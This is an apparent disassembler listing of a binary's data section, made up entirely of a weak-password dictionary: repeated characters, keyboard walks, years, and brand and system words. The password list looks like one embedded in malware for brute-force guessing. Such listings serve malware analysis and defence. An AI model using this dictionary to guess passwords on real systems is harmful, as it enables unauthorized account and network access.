aYyyyyy		db 'yyyyyy',0           ; DATA XREF: nsp0:00427560o
		align 4
aYyyyy		db 'yyyyy',0            ; DATA XREF: nsp0:0042755Co
		align 10h
aYyyy		db 'yyyy',0             ; DATA XREF: nsp0:00427558o
		align 4
aYyy		db 'yyy',0              ; DATA XREF: nsp0:00427554o
aYy		db 'yy',0               ; DATA XREF: nsp0:00427550o
		align 10h
aY:					; DATA XREF: nsp0:0042754Co
					; nsp0:004389ACo ...
		unicode	0, <y>,0
aTttttt		db 'tttttt',0           ; DATA XREF: nsp0:00427548o
		align 4
aTtttt		db 'ttttt',0            ; DATA XREF: nsp0:00427544o
		align 4
aTttt		db 'tttt',0             ; DATA XREF: nsp0:00427540o
		align 4
aTtt		db 'ttt',0              ; DATA XREF: nsp0:0042753Co
aTt		db 'tt',0               ; DATA XREF: nsp0:00427538o
		align 4
aT:					; DATA XREF: sub_401AC7+13A7o
					; nsp0:00427534o ...
		unicode	0, <t>,0
aSsssss		db 'ssssss',0           ; DATA XREF: nsp0:00427530o
		align 10h
aSssss		db 'sssss',0            ; DATA XREF: nsp0:0042752Co
		align 4
aSsss		db 'ssss',0             ; DATA XREF: nsp0:00427528o
		align 10h
aSss		db 'sss',0              ; DATA XREF: nsp0:00427524o
aSs		db 'ss',0               ; DATA XREF: nsp0:00427520o
		align 4
aS_1:					; DATA XREF: sub_401AC7+1301o
					; nsp0:0042751Co ...
		unicode	0, <s>,0
aUuuuuu		db 'uuuuuu',0           ; DATA XREF: nsp0:00427518o
		align 4
aUuuuu		db 'uuuuu',0            ; DATA XREF: nsp0:00427514o
		align 4
aUuuu		db 'uuuu',0             ; DATA XREF: nsp0:00427510o
		align 4
aUuu		db 'uuu',0              ; DATA XREF: nsp0:0042750Co
aUu		db 'uu',0               ; DATA XREF: nsp0:00427508o
		align 4
aU:					; DATA XREF: sub_401AC7+470Co
					; nsp0:00427504o ...
		unicode	0, <u>,0
aPppppp		db 'pppppp',0           ; DATA XREF: nsp0:00427500o
		align 4
aPpppp		db 'ppppp',0            ; DATA XREF: nsp0:004274FCo
		align 10h
aPppp		db 'pppp',0             ; DATA XREF: nsp0:004274F8o
		align 4
aPpp		db 'ppp',0              ; DATA XREF: nsp0:004274F4o
aPp		db 'pp',0               ; DATA XREF: nsp0:004274F0o
		align 10h
aP:					; DATA XREF: sub_401AC7+477Fo
					; nsp0:004274ECo ...
		unicode	0, <p>,0
aOooooo		db 'oooooo',0           ; DATA XREF: nsp0:004274E8o
		align 4
aOoooo		db 'ooooo',0            ; DATA XREF: nsp0:004274E4o
		align 4
aOooo		db 'oooo',0             ; DATA XREF: nsp0:004274E0o
		align 4
aOoo		db 'ooo',0              ; DATA XREF: nsp0:004274DCo
aOo		db 'oo',0               ; DATA XREF: nsp0:004274D8o
		align 4
aO:					; DATA XREF: sub_401AC7+38D1o
					; nsp0:004274D4o ...
		unicode	0, <o>,0
aNnnnnn		db 'nnnnnn',0           ; DATA XREF: nsp0:004274D0o
		align 10h
aNnnnn		db 'nnnnn',0            ; DATA XREF: nsp0:004274CCo
		align 4
aNnnn		db 'nnnn',0             ; DATA XREF: nsp0:004274C8o
		align 10h
aNnn		db 'nnn',0              ; DATA XREF: nsp0:004274C4o
aNn		db 'nn',0               ; DATA XREF: nsp0:004274C0o
		align 4
aN:					; DATA XREF: sub_401AC7+3781o
					; nsp0:004274BCo ...
		unicode	0, <n>,0
aMmmmmm		db 'mmmmmm',0           ; DATA XREF: nsp0:004274B8o
		align 4
aMmmmm		db 'mmmmm',0            ; DATA XREF: nsp0:004274B4o
		align 4
aMmmm		db 'mmmm',0             ; DATA XREF: nsp0:004274B0o
		align 4
aMmm		db 'mmm',0              ; DATA XREF: nsp0:004274ACo
aMm		db 'mm',0               ; DATA XREF: nsp0:004274A8o
		align 4
aM:					; DATA XREF: sub_401AC7+405Co
					; nsp0:004274A4o ...
		unicode	0, <m>,0
aLlllll		db 'llllll',0           ; DATA XREF: nsp0:004274A0o
		align 4
aLllll		db 'lllll',0            ; DATA XREF: nsp0:0042749Co
		align 10h
aLlll		db 'llll',0             ; DATA XREF: nsp0:00427498o
		align 4
aLll		db 'lll',0              ; DATA XREF: nsp0:00427494o
aLl		db 'll',0               ; DATA XREF: nsp0:00427490o
		align 10h
asc_427950:				; DATA XREF: nsp0:0042748Co
					; nsp0:004389DCo ...
		unicode	0, <l>,0
aKkkkkk		db 'kkkkkk',0           ; DATA XREF: nsp0:00427488o
		align 4
aKkkkk		db 'kkkkk',0            ; DATA XREF: nsp0:00427484o
		align 4
aKkkk		db 'kkkk',0             ; DATA XREF: nsp0:00427480o
		align 4
aKkk		db 'kkk',0              ; DATA XREF: nsp0:0042747Co
aKk		db 'kk',0               ; DATA XREF: nsp0:00427478o
		align 4
aK:					; DATA XREF: sub_401AC7+3829o
					; nsp0:00427474o ...
		unicode	0, <k>,0
aJjjjjj		db 'jjjjjj',0           ; DATA XREF: nsp0:00427470o
		align 10h
aJjjjj		db 'jjjjj',0            ; DATA XREF: nsp0:0042746Co
		align 4
aJjjj		db 'jjjj',0             ; DATA XREF: nsp0:00427468o
		align 10h
aJjj		db 'jjj',0              ; DATA XREF: nsp0:00427464o
aJj		db 'jj',0               ; DATA XREF: nsp0:00427460o
		align 4
aJ:					; DATA XREF: sub_401AC7+37ABo
					; nsp0:0042745Co ...
		unicode	0, <j>,0
aIiiiii		db 'iiiiii',0           ; DATA XREF: nsp0:00427458o
		align 4
aIiiii		db 'iiiii',0            ; DATA XREF: nsp0:00427454o
		align 4
aIiii		db 'iiii',0             ; DATA XREF: nsp0:00427450o
		align 4
aIii		db 'iii',0              ; DATA XREF: nsp0:0042744Co
aIi		db 'ii',0               ; DATA XREF: nsp0:00427448o
		align 4
aI_0:					; DATA XREF: sub_401AC7+132Bo
					; nsp0:00427444o ...
		unicode	0, <i>,0
aHhhhhh		db 'hhhhhh',0           ; DATA XREF: nsp0:00427440o
		align 4
aHhhhh		db 'hhhhh',0            ; DATA XREF: nsp0:0042743Co
		align 10h
aHhhh		db 'hhhh',0             ; DATA XREF: nsp0:00427438o
		align 4
aHhh		db 'hhh',0              ; DATA XREF: nsp0:00427434o
aHh		db 'hh',0               ; DATA XREF: nsp0:00427430o
		align 10h
asc_4279E0:				; DATA XREF: nsp0:0042742Co
					; nsp0:004389D0o ...
		unicode	0, <h>,0
aGggggg		db 'gggggg',0           ; DATA XREF: nsp0:00427428o
		align 4
aGgggg		db 'ggggg',0            ; DATA XREF: nsp0:00427424o
		align 4
aGggg		db 'gggg',0             ; DATA XREF: nsp0:00427420o
		align 4
aGgg		db 'ggg',0              ; DATA XREF: nsp0:0042741Co
aGg		db 'gg',0               ; DATA XREF: nsp0:00427418o
		align 4
aG:					; DATA XREF: nsp0:00427414o
					; nsp0:004389CCo ...
		unicode	0, <g>,0
aEeeeee		db 'eeeeee',0           ; DATA XREF: nsp0:00427410o
		align 10h
aEeeee		db 'eeeee',0            ; DATA XREF: nsp0:0042740Co
		align 4
aEeee		db 'eeee',0             ; DATA XREF: nsp0:00427408o
		align 10h
aEee		db 'eee',0              ; DATA XREF: nsp0:00427404o
aEe		db 'ee',0               ; DATA XREF: nsp0:00427400o
		align 4
aE:					; DATA XREF: sub_401AC7+4256o
					; nsp0:004273FCo ...
		unicode	0, <e>,0
aFffff		db 'fffff',0            ; DATA XREF: nsp0:004273F8o
		align 4
aFfff		db 'ffff',0             ; DATA XREF: nsp0:004273F4o
		align 4
aFff		db 'fff',0              ; DATA XREF: nsp0:004273F0o
aFf		db 'ff',0               ; DATA XREF: nsp0:004273ECo
		align 4
aF:					; DATA XREF: nsp0:004273E8o
					; nsp0:004389C8o ...
		unicode	0, <f>,0
aDdddd		db 'ddddd',0            ; DATA XREF: nsp0:004273E4o
		align 10h
aDddd		db 'dddd',0             ; DATA XREF: nsp0:004273E0o
		align 4
aDdd		db 'ddd',0              ; DATA XREF: nsp0:004273DCo
aDd_0		db 'dd',0               ; DATA XREF: nsp0:004273D8o
		align 10h
aD:					; DATA XREF: sub_401AC7+C5Bo
					; nsp0:004273D4o ...
		unicode	0, <d>,0
aCcccccccc	db 'ccccccccc',0        ; DATA XREF: nsp0:004273D0o
		align 10h
aCccccccc	db 'cccccccc',0         ; DATA XREF: nsp0:004273CCo
		align 4
aCcccccc	db 'ccccccc',0          ; DATA XREF: nsp0:004273C8o
aCccccc		db 'cccccc',0           ; DATA XREF: nsp0:004273C4o
		align 4
aCcccc		db 'ccccc',0            ; DATA XREF: nsp0:004273C0o
		align 4
aCccc_0		db 'cccc',0             ; DATA XREF: nsp0:004273BCo
		align 4
aCcc		db 'ccc',0              ; DATA XREF: nsp0:004273B8o
aCc		db 'cc',0               ; DATA XREF: nsp0:004273B4o
		align 4
aC:					; DATA XREF: sub_401AC7+42F2o
					; nsp0:004273B0o ...
		unicode	0, <c>,0
aBbbbbbbbb	db 'bbbbbbbbb',0        ; DATA XREF: nsp0:004273ACo
		align 4
aBbbbbbbb	db 'bbbbbbbb',0         ; DATA XREF: nsp0:004273A8o
		align 10h
aBbbbbbb	db 'bbbbbbb',0          ; DATA XREF: nsp0:004273A4o
aBbbbbb		db 'bbbbbb',0           ; DATA XREF: nsp0:004273A0o
		align 10h
aBbbbb		db 'bbbbb',0            ; DATA XREF: nsp0:0042739Co
		align 4
aBbbb		db 'bbbb',0             ; DATA XREF: nsp0:00427398o
		align 10h
aBbb		db 'bbb',0              ; DATA XREF: nsp0:00427394o
aBb		db 'bb',0               ; DATA XREF: nsp0:00427390o
		align 4
aB:					; DATA XREF: nsp0:0042738Co
					; nsp0:004389F0o ...
		unicode	0, <b>,0
aRfv		db 'rfv',0              ; DATA XREF: nsp0:00427388o
aEdc		db 'edc',0              ; DATA XREF: nsp0:00427384o
aWsx		db 'wsx',0              ; DATA XREF: nsp0:00427380o
aQaz		db 'qaz',0              ; DATA XREF: nsp0:0042737Co
aAsdfghjkl	db 'asdfghjkl',0        ; DATA XREF: nsp0:00427378o
		align 4
aAsdfghjk	db 'asdfghjk',0         ; DATA XREF: nsp0:00427374o
		align 4
aAsdfghj	db 'asdfghj',0          ; DATA XREF: nsp0:00427370o
aAsdfgh		db 'asdfgh',0           ; DATA XREF: nsp0:0042736Co
		align 4
aAsdfg		db 'asdfg',0            ; DATA XREF: nsp0:00427368o
		align 4
aAs		db 'as',0               ; DATA XREF: nsp0:0042735Co
		align 10h
aZxcvbnm	db 'zxcvbnm',0          ; DATA XREF: nsp0:00427358o
aZxcvbn		db 'zxcvbn',0           ; DATA XREF: nsp0:00427354o
		align 10h
aZxcvb		db 'zxcvb',0            ; DATA XREF: nsp0:00427350o
		align 4
aZxc		db 'zxc',0              ; DATA XREF: nsp0:00427348o
aZx		db 'zx',0               ; DATA XREF: nsp0:00427344o
		align 10h
aZ:					; DATA XREF: nsp0:00427340o
					; nsp0:004275ACo ...
		unicode	0, <z>,0
aKonyang	db 'konyang',0          ; DATA XREF: nsp0:0042733Co
aToyota_0	db 'TOYOTA',0           ; DATA XREF: nsp0:00427304o
		align 4
aKor		db 'KOR',0              ; DATA XREF: nsp0:00427300o
aKor_0		db 'kor',0              ; DATA XREF: nsp0:004272F8o
aChi		db 'chi',0              ; DATA XREF: nsp0:004272F4o
off_427B70	dd offset byte_494843	; DATA XREF: nsp0:004272F0o
aSystem		db 'system',0           ; DATA XREF: nsp0:004272E8o
					; nsp0:0042762Co
		align 4
aServices	db 'services',0         ; DATA XREF: nsp0:004272E4o
		align 4
aServers	db 'servers',0          ; DATA XREF: nsp0:004272E0o
aServer		db 'server',0           ; DATA XREF: sub_401AC7+38E6o
					; nsp0:004272D8o
		align 4
aQwertyuiop	db 'qwertyuiop',0       ; DATA XREF: nsp0:004272D0o
		align 4
aQwertyuio	db 'qwertyuio',0        ; DATA XREF: nsp0:004272CCo
		align 10h
aQwertyui	db 'qwertyui',0         ; DATA XREF: nsp0:004272C8o
		align 4
aQwertyu	db 'qwertyu',0          ; DATA XREF: nsp0:004272C4o
aQwe		db 'qwe',0              ; DATA XREF: nsp0:004272B4o
aQw		db 'qw',0               ; DATA XREF: nsp0:004272B0o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: nsp0:004272ACo
		align 4
aPassword_0	db 'Password',0         ; DATA XREF: nsp0:004272A8o
		align 4
aAaaaaaaaa	db 'aaaaaaaaa',0        ; DATA XREF: nsp0:004272A4o
		align 10h
aAaaaaaaa	db 'aaaaaaaa',0         ; DATA XREF: nsp0:004272A0o
		align 4
aAaaaaaa	db 'aaaaaaa',0          ; DATA XREF: nsp0:0042729Co
aAaaaaa		db 'aaaaaa',0           ; DATA XREF: nsp0:00427298o
		align 4
aAaaaa		db 'aaaaa',0            ; DATA XREF: nsp0:00427294o
		align 4
aAaaa		db 'aaaa',0             ; DATA XREF: nsp0:00427290o
		align 4
aAa		db 'aa',0               ; DATA XREF: sub_401AC7+3FA4o
					; nsp0:00427288o
		align 10h
aXp		db 'XP',0               ; DATA XREF: nsp0:0040A093o
					; sub_417368+AAo ...
		align 4
aNokia		db 'NOKIA',0            ; DATA XREF: nsp0:0042727Co
		align 4
aSex		db 'SEX',0              ; DATA XREF: nsp0:00427278o
aCreative	db 'CREATIVE',0         ; DATA XREF: nsp0:00427274o
		align 4
aDisc_0		db 'DISC',0             ; DATA XREF: nsp0:00427270o
		align 4
aMicrosoft	db 'MICROSOFT',0        ; DATA XREF: nsp0:0042726Co
		align 10h
aMaster_0	db 'MASTER',0           ; DATA XREF: nsp0:00427268o
		align 4
aSony_0		db 'SONY',0             ; DATA XREF: nsp0:00427264o
		align 10h
aSamsung	db 'samsung',0          ; DATA XREF: nsp0:00427260o
aSamsung_0	db 'SAMSUNG',0          ; DATA XREF: nsp0:0042725Co
aSony		db 'sony',0             ; DATA XREF: nsp0:00427258o
		align 4
a7654321	db '7654321',0          ; DATA XREF: nsp0:00427254o
a4321		db '4321',0             ; DATA XREF: nsp0:00427248o
		align 4
a321		db '321',0              ; DATA XREF: nsp0:00427244o
a2006		db '2006',0             ; DATA XREF: nsp0:0042723Co
		align 4
a2005		db '2005',0             ; DATA XREF: nsp0:00427238o
		align 4
a2004		db '2004',0             ; DATA XREF: nsp0:00427234o
		align 4
a2001		db '2001',0             ; DATA XREF: nsp0:00427228o
		align 4
a2000		db '2000',0             ; DATA XREF: nsp0:00427224o
		align 4
a1999		db '1999',0             ; DATA XREF: nsp0:00427220o
		align 4
a1998		db '1998',0             ; DATA XREF: nsp0:0042721Co
		align 4
a1997		db '1997',0             ; DATA XREF: nsp0:00427218o
		align 4
a1996		db '1996',0             ; DATA XREF: nsp0:00427214o
		align 4
a1995		db '1995',0             ; DATA XREF: nsp0:00427210o
		align 4
a1994		db '1994',0             ; DATA XREF: nsp0:0042720Co
		align 4
a1993		db '1993',0             ; DATA XREF: nsp0:00427208o
		align 4
a1992		db '1992',0             ; DATA XREF: nsp0:00427204o
		align 4
a1991		db '1991',0             ; DATA XREF: nsp0:00427200o
		align 4
a1990		db '1990',0             ; DATA XREF: nsp0:004271FCo
		align 4
a1989		db '1989',0             ; DATA XREF: nsp0:004271F8o
		align 4
a1988		db '1988',0             ; DATA XREF: nsp0:004271F4o
		align 4
a1987		db '1987',0             ; DATA XREF: nsp0:004271F0o
		align 4
a1986		db '1986',0             ; DATA XREF: nsp0:004271ECo
		align 4
a1985		db '1985',0             ; DATA XREF: nsp0:004271E8o
		align 4
a1984		db '1984',0             ; DATA XREF: nsp0:004271E4o
		align 4
a1983		db '1983',0             ; DATA XREF: nsp0:004271E0o
		align 4
a1982		db '1982',0             ; DATA XREF: nsp0:004271DCo
		align 4
a1981		db '1981',0             ; DATA XREF: nsp0:004271D8o
		align 4
a1980		db '1980',0             ; DATA XREF: nsp0:004271D4o
		align 4
a1979		db '1979',0             ; DATA XREF: nsp0:004271D0o
		align 4
a1978		db '1978',0             ; DATA XREF: nsp0:004271CCo
		align 4
a1977		db '1977',0             ; DATA XREF: nsp0:004271C8o
		align 4
a1976		db '1976',0             ; DATA XREF: nsp0:004271C4o
		align 4
a1975		db '1975',0             ; DATA XREF: nsp0:004271C0o
		align 4
a1974		db '1974',0             ; DATA XREF: nsp0:004271BCo
		align 4
a1973		db '1973',0             ; DATA XREF: nsp0:004271B8o
		align 4
a1972		db '1972',0             ; DATA XREF: nsp0:004271B4o
		align 4
a1971		db '1971',0             ; DATA XREF: nsp0:004271B0o
		align 4
a1970		db '1970',0             ; DATA XREF: nsp0:004271ACo
		align 4
a1969		db '1969',0             ; DATA XREF: nsp0:004271A8o
		align 4
a1968		db '1968',0             ; DATA XREF: nsp0:004271A4o
		align 4
a1967		db '1967',0             ; DATA XREF: nsp0:004271A0o
		align 4
a1966		db '1966',0             ; DATA XREF: nsp0:0042719Co
		align 4
a1965		db '1965',0             ; DATA XREF: nsp0:00427198o
		align 4
a1964		db '1964',0             ; DATA XREF: nsp0:00427194o
		align 4
a1963		db '1963',0             ; DATA XREF: nsp0:00427190o
		align 4
a1962		db '1962',0             ; DATA XREF: nsp0:0042718Co
		align 4
a1961		db '1961',0             ; DATA XREF: nsp0:00427188o
		align 4
a1960		db '1960',0             ; DATA XREF: nsp0:00427184o
		align 4
a1959		db '1959',0             ; DATA XREF: nsp0:00427180o
		align 4
a1958		db '1958',0             ; DATA XREF: nsp0:0042717Co
		align 4
a1957		db '1957',0             ; DATA XREF: nsp0:00427178o
		align 4
a1956		db '1956',0             ; DATA XREF: nsp0:00427174o
		align 4
a1955		db '1955',0             ; DATA XREF: nsp0:00427170o
		align 4
a1954		db '1954',0             ; DATA XREF: nsp0:0042716Co
		align 4
a1953		db '1953',0             ; DATA XREF: nsp0:00427168o
		align 4
a1952		db '1952',0             ; DATA XREF: nsp0:00427164o
		align 4
a1234qwe	db '1234qwe',0          ; DATA XREF: nsp0:00427160o
a1234asd	db '1234asd',0          ; DATA XREF: nsp0:0042715Co
a1234abc	db '1234abc',0          ; DATA XREF: nsp0:00427158o
a123qwer	db '123qwer',0          ; DATA XREF: nsp0:00427144o
a12qwe		db '12qwe',0            ; DATA XREF: nsp0:00427140o
		align 4
a12asd		db '12asd',0            ; DATA XREF: nsp0:0042713Co
		align 4
a12abc		db '12abc',0            ; DATA XREF: nsp0:00427138o
		align 4
a12qwer		db '12qwer',0           ; DATA XREF: nsp0:00427134o
		align 4
a1qwe		db '1qwe',0             ; DATA XREF: nsp0:00427130o
		align 4
a1asd		db '1asd',0             ; DATA XREF: nsp0:0042712Co
		align 4
a1abc		db '1abc',0             ; DATA XREF: nsp0:00427128o
		align 4
a1qwer		db '1qwer',0            ; DATA XREF: nsp0:00427124o
		align 4
a123467890	db '123467890',0        ; DATA XREF: nsp0:00427120o
		align 10h
a12346789	db '12346789',0         ; DATA XREF: nsp0:0042711Co
		align 4
a1234678	db '1234678',0          ; DATA XREF: nsp0:00427118o
a123467		db '123467',0           ; DATA XREF: nsp0:00427114o
		align 4
a12346		db '12346',0            ; DATA XREF: nsp0:00427110o
		align 4
a121		db '121',0              ; DATA XREF: nsp0:004270E8o
a1020		db '1020',0             ; DATA XREF: nsp0:004270E0o
		align 10h
a0258		db '0258',0             ; DATA XREF: nsp0:004270DCo
		align 4
a8520		db '8520',0             ; DATA XREF: nsp0:004270D8o
		align 10h
a987		db '987',0              ; DATA XREF: nsp0:004270D4o
a789		db '789',0              ; DATA XREF: nsp0:004270D0o
a654		db '654',0              ; DATA XREF: nsp0:004270CCo
a456		db '456',0              ; DATA XREF: nsp0:004270C8o
a1122		db '1122',0             ; DATA XREF: nsp0:004270C4o
		align 4
a0147		db '0147',0             ; DATA XREF: nsp0:004270C0o
		align 10h
a7410		db '7410',0             ; DATA XREF: nsp0:004270BCo
		align 4
a9999999999	db '9999999999',0       ; DATA XREF: nsp0:004270B4o
		align 4
a999999999	db '999999999',0        ; DATA XREF: nsp0:004270B0o
		align 10h
a99999999	db '99999999',0         ; DATA XREF: nsp0:004270ACo
		align 4
a9999999	db '9999999',0          ; DATA XREF: nsp0:004270A8o
a999999		db '999999',0           ; DATA XREF: nsp0:004270A4o
		align 4
a99999		db '99999',0            ; DATA XREF: nsp0:004270A0o
		align 4
a9999		db '9999',0             ; DATA XREF: nsp0:0042709Co
		align 4
a999		db '999',0              ; DATA XREF: nsp0:00427098o
a99		db '99',0               ; DATA XREF: nsp0:00427094o
		align 4
a9:					; DATA XREF: nsp0:00427090o
		unicode	0, <9>,0
a8888888888	db '8888888888',0       ; DATA XREF: nsp0:0042708Co
		align 4
a888888888	db '888888888',0        ; DATA XREF: nsp0:00427088o
		align 10h
a8888888	db '8888888',0          ; DATA XREF: nsp0:00427080o
a888888		db '888888',0           ; DATA XREF: nsp0:0042707Co
		align 10h
a88888		db '88888',0            ; DATA XREF: nsp0:00427078o
		align 4
a8888		db '8888',0             ; DATA XREF: nsp0:00427074o
		align 10h
a888		db '888',0              ; DATA XREF: nsp0:00427070o
a88		db '88',0               ; DATA XREF: nsp0:0042706Co
		align 4
a8:					; DATA XREF: nsp0:00427068o
		unicode	0, <8>,0
a7777777777	db '7777777777',0       ; DATA XREF: nsp0:00427064o
		align 4
a777777777	db '777777777',0        ; DATA XREF: nsp0:00427060o
		align 4
a77777777	db '77777777',0         ; DATA XREF: nsp0:0042705Co
		align 10h
a7777777	db '7777777',0          ; DATA XREF: nsp0:00427058o
a777777		db '777777',0           ; DATA XREF: nsp0:00427054o
		align 10h
a77777		db '77777',0            ; DATA XREF: nsp0:00427050o
		align 4
a7777		db '7777',0             ; DATA XREF: nsp0:0042704Co
		align 10h
a777		db '777',0              ; DATA XREF: nsp0:00427048o
a77		db '77',0               ; DATA XREF: nsp0:00427044o
		align 4
a7:					; DATA XREF: nsp0:00427040o
		unicode	0, <7>,0
a6666666666	db '6666666666',0       ; DATA XREF: nsp0:0042703Co
		align 4
a666666666	db '666666666',0        ; DATA XREF: nsp0:00427038o
		align 4
a66666666	db '66666666',0         ; DATA XREF: nsp0:00427034o
		align 10h
a6666666	db '6666666',0          ; DATA XREF: nsp0:00427030o
a666666		db '666666',0           ; DATA XREF: nsp0:0042702Co
		align 10h
a66666		db '66666',0            ; DATA XREF: nsp0:00427028o
		align 4
a6666		db '6666',0             ; DATA XREF: nsp0:00427024o
		align 10h
a666		db '666',0              ; DATA XREF: nsp0:00427020o
a66		db '66',0               ; DATA XREF: nsp0:0042701Co
		align 4
a6:					; DATA XREF: nsp0:00427018o
		unicode	0, <6>,0
a5555555555	db '5555555555',0       ; DATA XREF: nsp0:00427014o
		align 4
a555555555	db '555555555',0        ; DATA XREF: nsp0:00427010o
		align 4
a55555555	db '55555555',0         ; DATA XREF: nsp0:0042700Co
		align 10h
a5555555	db '5555555',0          ; DATA XREF: nsp0:00427008o
a555555		db '555555',0           ; DATA XREF: nsp0:00427004o
		align 10h
a55555		db '55555',0            ; DATA XREF: nsp0:00427000o
		align 4
a5555		db '5555',0             ; DATA XREF: nsp0:00426FFCo
		align 10h
a555		db '555',0              ; DATA XREF: nsp0:00426FF8o
a55		db '55',0               ; DATA XREF: nsp0:00426FF4o
		align 4
a5:					; DATA XREF: nsp0:00426FF0o
		unicode	0, <5>,0
a4444444444	db '4444444444',0       ; DATA XREF: nsp0:00426FECo
		align 4
a444444444	db '444444444',0        ; DATA XREF: nsp0:00426FE8o
		align 4
a44444444	db '44444444',0         ; DATA XREF: nsp0:00426FE4o
		align 10h
a4444444	db '4444444',0          ; DATA XREF: nsp0:00426FE0o
a444444		db '444444',0           ; DATA XREF: nsp0:00426FDCo
		align 10h
a44444		db '44444',0            ; DATA XREF: nsp0:00426FD8o
		align 4
a4444		db '4444',0             ; DATA XREF: nsp0:00426FD4o
		align 10h
a444		db '444',0              ; DATA XREF: nsp0:00426FD0o
a44		db '44',0               ; DATA XREF: nsp0:00426FCCo
		align 4
a4:					; DATA XREF: nsp0:00426FC8o
		unicode	0, <4>,0
a3333333333	db '3333333333',0       ; DATA XREF: nsp0:00426FC4o
		align 4
a333333333	db '333333333',0        ; DATA XREF: nsp0:00426FC0o
		align 4
a33333333	db '33333333',0         ; DATA XREF: nsp0:00426FBCo
		align 10h
a3333333	db '3333333',0          ; DATA XREF: nsp0:00426FB8o
a333333		db '333333',0           ; DATA XREF: nsp0:00426FB4o
		align 10h
a33333		db '33333',0            ; DATA XREF: nsp0:00426FB0o
		align 4
a3333		db '3333',0             ; DATA XREF: nsp0:00426FACo
		align 10h
a333		db '333',0              ; DATA XREF: nsp0:00426FA8o
a33		db '33',0               ; DATA XREF: nsp0:00426FA4o
		align 4
a3:					; DATA XREF: nsp0:00426FA0o
		unicode	0, <3>,0
a2222222222	db '2222222222',0       ; DATA XREF: nsp0:00426F9Co
		align 4
a222222222	db '222222222',0        ; DATA XREF: nsp0:00426F98o
		align 4
a22222222	db '22222222',0         ; DATA XREF: nsp0:00426F94o
		align 10h
a2222222	db '2222222',0          ; DATA XREF: nsp0:00426F90o
a222222		db '222222',0           ; DATA XREF: nsp0:00426F8Co
		align 10h
a22222		db '22222',0            ; DATA XREF: nsp0:00426F88o
		align 4
a2222		db '2222',0             ; DATA XREF: nsp0:00426F84o
		align 10h
a222		db '222',0              ; DATA XREF: nsp0:00426F80o
a22		db '22',0               ; DATA XREF: nsp0:00426F7Co
		align 4
a2:					; DATA XREF: nsp0:00426F78o
		unicode	0, <2>,0
a1111111111	db '1111111111',0       ; DATA XREF: nsp0:00426F74o
		align 4
a111111111	db '111111111',0        ; DATA XREF: nsp0:00426F70o
		align 4
a1111111	db '1111111',0          ; DATA XREF: nsp0:00426F68o
a11111		db '11111',0            ; DATA XREF: nsp0:00426F60o
		align 4
a1111		db '1111',0             ; DATA XREF: nsp0:00426F5Co
		align 4
a11		db '11',0               ; DATA XREF: nsp0:00426F54o
		align 10h
a010		db '010',0              ; DATA XREF: nsp0:00426F44o
a009		db '009',0              ; DATA XREF: nsp0:00426F40o
a008		db '008',0              ; DATA XREF: nsp0:00426F3Co
a006		db '006',0              ; DATA XREF: nsp0:00426F34o
a005		db '005',0              ; DATA XREF: sub_401AC7+215o
					; nsp0:00426F30o
a004		db '004',0              ; DATA XREF: nsp0:00426F2Co
a003		db '003',0              ; DATA XREF: nsp0:00426F28o
a002		db '002',0              ; DATA XREF: nsp0:00426F24o
a001		db '001',0              ; DATA XREF: sub_401AC7+200o
					; nsp0:00426F20o
asc_4281D4	db '*********',0        ; DATA XREF: nsp0:00426F1Co
		align 10h
asc_4281E0	db '********',0         ; DATA XREF: nsp0:00426F18o
		align 4
asc_4281EC	db '*******',0          ; DATA XREF: nsp0:00426F14o
asc_4281F4	db '******',0           ; DATA XREF: nsp0:00426F10o
		align 4
asc_4281FC	db '*****',0            ; DATA XREF: nsp0:00426F0Co
		align 4
asc_428204	db '****',0             ; DATA XREF: nsp0:00426F08o
		align 4
asc_42820C	db '***',0              ; DATA XREF: nsp0:00426F04o
asc_428210	db '**',0               ; DATA XREF: nsp0:00426F00o
		align 4
asc_428214:				; DATA XREF: sub_40E7B9+157o
					; nsp0:00426EFCo
		unicode	0, <*>,0
a0000000000	db '0000000000',0       ; DATA XREF: nsp0:00426EF8o
		align 4
a000000000	db '000000000',0        ; DATA XREF: nsp0:00426EF4o
		align 10h
a@		db '@!',0               ; DATA XREF: nsp0:00426ED4o
		align 4
a@_0		db '#@!',0              ; DATA XREF: nsp0:00426ED0o
a@_1		db '$#@!',0             ; DATA XREF: nsp0:00426ECCo
		align 10h
a@_2		db '%$#@!',0            ; DATA XREF: nsp0:00426EC8o
		align 4
a@_3		db '^%$#@!',0           ; DATA XREF: nsp0:00426EC4o
		align 10h
a@_4		db '&^%$#@!',0          ; DATA XREF: nsp0:00426EC0o
a@_5		db '*&^%$#@!',0         ; DATA XREF: nsp0:00426EBCo
		align 4
asc_428264	db '$$$',0              ; DATA XREF: nsp0:00426EB8o
asc_428268	db '$$',0               ; DATA XREF: nsp0:00426EB4o
		align 4
asc_42826C:				; DATA XREF: nsp0:00426EB0o
		unicode	0, <$>,0
a456_0		db '456+',0             ; DATA XREF: nsp0:00426EACo
		align 4
a789_0		db '789+',0             ; DATA XREF: nsp0:00426EA8o
		align 10h
a0		db '=-0',0              ; DATA XREF: nsp0:00426EA4o
asc_428284	db '--++',0             ; DATA XREF: nsp0:00426EA0o
		align 4
asc_42828C	db '-+',0               ; DATA XREF: nsp0:00426E9Co
		align 10h
asc_428290	db '----',0             ; DATA XREF: nsp0:00426E98o
		align 4
asc_428298	db '--',0               ; DATA XREF: nsp0:00426E90o
					; nsp0:00426E94o
		align 4
asc_42829C:				; DATA XREF: nsp0:00426E8Co
		unicode	0, <->,0
asc_4282A0	db '++++',0             ; DATA XREF: nsp0:00426E88o
		align 4
asc_4282A8	db '+++',0              ; DATA XREF: nsp0:00426E84o
asc_4282AC	db '++',0               ; DATA XREF: nsp0:00426E80o
		align 10h
asc_4282B0:				; DATA XREF: nsp0:00426E7Co
		unicode	0, <+>,0
a@@		db '@@',0               ; DATA XREF: nsp0:00426E78o
		align 4
a@_6:					; DATA XREF: sub_401AC7+23Ao
					; nsp0:00426E74o
		unicode	0, <@>,0
off_4282BC	dd offset loc_40211D+4	; DATA XREF: nsp0:00426E70o
dword_4282C0	dd 2121h		; DATA XREF: nsp0:00426E6Co
dword_4282C4	dd 23h			; DATA XREF: sub_401AC7+790o
					; sub_40BB80+1Bo ...
dword_4282C8	dd 24234021h, 2A265E25h, 0 ; DATA XREF:	nsp0:00426E64o
dword_4282D4	dd 24234021h, 265E25h	; DATA XREF: nsp0:00426E60o
dword_4282DC	dd 24234021h, 5E25h	; DATA XREF: nsp0:00426E5Co
dword_4282E4	dd 24234021h, 25h	; DATA XREF: nsp0:00426E58o
dword_4282EC	dd 234021h		; DATA XREF: nsp0:00426E54o
